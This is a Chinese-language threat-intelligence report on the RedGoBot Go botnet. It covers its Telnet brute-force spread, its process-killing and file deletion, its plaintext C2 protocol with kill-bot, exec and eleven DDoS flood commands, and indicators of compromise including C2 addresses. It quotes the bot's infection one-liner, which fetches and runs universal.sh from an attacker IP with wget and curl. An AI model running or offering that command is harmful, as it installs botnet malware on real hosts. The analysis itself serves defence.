概述
2022 年 11 月底,奇安信威胁情报中心监测到一起未知家族恶意样本利用 Vacron NVR RCE 漏洞传播的事件。经过我们的详细分析,这一系列样本不属于已知的恶意家族。恶意样本运行起来会打印 "GoBot" 字符串,同时参考作者在其资产网站中的输出"@redbot on top",我们把它命名为 RedGoBot。
RedGoBot 核心样本由 Go 语言编写,当前样本由 Go 1.18.8 编译,目前支持 11 种 DDoS 攻击方式,并且样本内部集成了暴破 Telnet 服务来传播的能力。
根据我们的回溯分析,ReGoBot 历史上有过 3 波传播,样本层面也有过两次明显的变动。虽然目前为止 RedGoBot 的传播量还不是很大,但我们已经看到它在尝试下发 DDoS 攻击指令来测试攻击效果。
RedGoBot 某种程度上会误杀失陷主机上的正常文件及进程,带来严重后果,因此我们建议检查是否存在 Telnet 弱口令来防御 RedGoBot 的入侵。
近期我们对 RedGoBot 的攻击活动进行了监控,监测到其对 " tls.mrrage.xyz" 发起过一次 HTTP GET 方式的攻击测试:
通过奇安信威胁情报平台查询其首个 C2 的解析记录,作者在 9 月完成样本编写后进行过一次扩散,之后恢复平静,近期又开始活跃:
另一个 C2 近期的扩散数据概况:
样本关键行为分析
RedGoBot 在传播的时候,会在失陷主机上执行一个恶意 Shell 脚本文件,Shell 脚本文件中用 wget/curl/busybox 三种方式依次下载 RedGoBot 各种 CPU 架构的二进制文件,保存为 Bins_Bot_hicore_[CPU_ARCH] 形式的文件名并尝试执行。RedGoBot 二进制样本支持的 CPU 架构如下:
IBM S/390
PPC64
PPC64-LE
MIPS
MIPS-LE
ARM
ARM64
x86-64
本文以 x86-64 样本为例进行分析,样本信息:
文件名 | 文件大小 | 文件MD5 |
Bins_Bot_hicore_amd64 | 8980865 bytes | FD1FACF3A3FCA0FD6108BBBE98F8D5FD |
日志记录
样本将运行日志发送给 C2 服务器,此操作将会消耗大量 C2 服务器资源,因此猜测该僵尸网络还处于调试状态:
删除本地文件
RedGoBot 样本还会 Kill 掉失陷主机上的“可疑竞争对手”的进程,并删除对应的文件及文件夹,此操作很可能会误杀失陷主机上的进程,删除掉很多正常文件,给失陷主机带来严重危害。
RedGoBot 要 Kill 的进程,是针对以下目标目录起来的进程,并避开白名单中的目录或文件名。
Kill 进程、删除进程文件所在的目标目录:
/tmp/
/var/run/
/mnt/
/root/
除此之外,RedGoBot 还把以下目录和文件列入”白名单“,不会删除,不会 Kill 对应的进程:
/var/run/lock/
/var/run/shm/
Bins_Bot_hicore*
sshd
resolv.conf
持久化
RedGoBot 会创建一个恶意服务实现持久化,服务详情如下:
标志字符串
打印字符串 "GoBot\n":
传播方式
RedGoBot 用 Go 语言实现了类似 Gafgyt 家族的 Telnet 暴破传播机制,内置 64 组弱口令用来实施暴破。
一旦暴破成功,将会在失陷主机上执行以下恶意命令:
wget http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh; curl -k -L --output universal.sh http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh;\n
C2 控制协议
上线
首先,请求 DNS 解析 C2 域名 "peniseater.click":
如果解析失败则直接使用硬编码IP作为C2:
上线包为 "GoBot V1:amd64\n":
通信协议类似 Gafgyt,使用明文 ASCII 字符串通信,切割空格进行字段分割:
指令解析
RedGoBot 目前支持 3 种指令:
kill-bot: 退出运行
exec: 执行恶意命令
DDoS Attack: 发起 DDoS 攻击
当 RedGoBot 收到 "kill-bot" 指令时,退出 Bot 进程:
当 RedGoBot 收到 "exec" 指令,则会执行 Payload 提供的恶意命令:
当 RedGoBot 收到以下指令,则会发起对应的 DDoS 攻击:
Name | Description |
HttpPost_Send | HTTP Flood (POST) |
HttpGet_Send | HTTP Flood (GET) |
Icmp_Send | ICMP Flood |
TCPPsh_Send | TCP Flood (spurious PUSH) |
TCPSyn_Send | TCP SYN Flood |
TCPAck_Send | TCP ACK Flood |
TCPHandshake_Send | TCP Flood |
TCPHold_Send | TCP Flood |
UDP_Send | UDP Flood |
VSE_Send | VSE Flood |
OpenVpn_Send | Openvpn UDP Flood |
扩展分析
样本更新历史
我们通过在样本库中回溯关联,发现该僵尸网络的样本于今年九月开始更新,初始版本中样本并未基于 Golang Interface 实现攻击方式的多态特性,而是根据攻击指令,直接调用对应的 DDoS 方法:
虽然作者在上线包中将此版本同样定义为 V1,但是我们将此初始版本定义为 V1.0:
作者于几天后的版本中就加入了基于 Interface 实现的多态特性,我们将此版本定义为 V1.1:
可疑的其他相关僵尸网络
我们对攻击者的资产进行了关联分析,发现作者除了 RedGoBot 僵尸网络以外,疑似还拥有一个 Moobot 僵尸网络,该 Moobot 僵尸网络的部分信息如下:
C2 = "cdn.cattoloveslily.wtf:38241"
MD5 = 0C817D839E014CEB4350E6989AC85B08
ITW_IP = 179.43.175.5
通过TI查询 C2 的解析记录,可以发现该 Moobot 僵尸网络开始传播时间与 RedGoBot 的新样本基本一致,从今年 11 月份开始进行扩张,当前规模同样较小:
IoCs
MD5:
C1492F719A4553BB4280B5A8C8C39095
31BE883A1346F656DF5061BC784060A7
3C404053296EFD41DAE11A0A39BE3808
FD1FACF3A3FCA0FD6108BBBE98F8D5FD
FAD7F1073FE267FCA24927B626AFAA1F
E6327957732150FC03594E4F28933FA4
7E6261537E3499083BB5A519212B955C
CA4A1FCCD1E13A8AC5FEFB57C32F1548
CD56BEA395C994290EBC71CC1482DFE0
AAEE43E63D5A3ABD70FFA774A16C816E
C2:
RedGoBot:
185.246.221.220:6001
peniseater.click:6001
znet.whatareyousearchingfor.net:6001
185.213.26.101:6001
Moobot:
cdn.cattoloveslily.wtf:38241
点击阅读原文至ALPHA 5.0
即刻助力威胁研判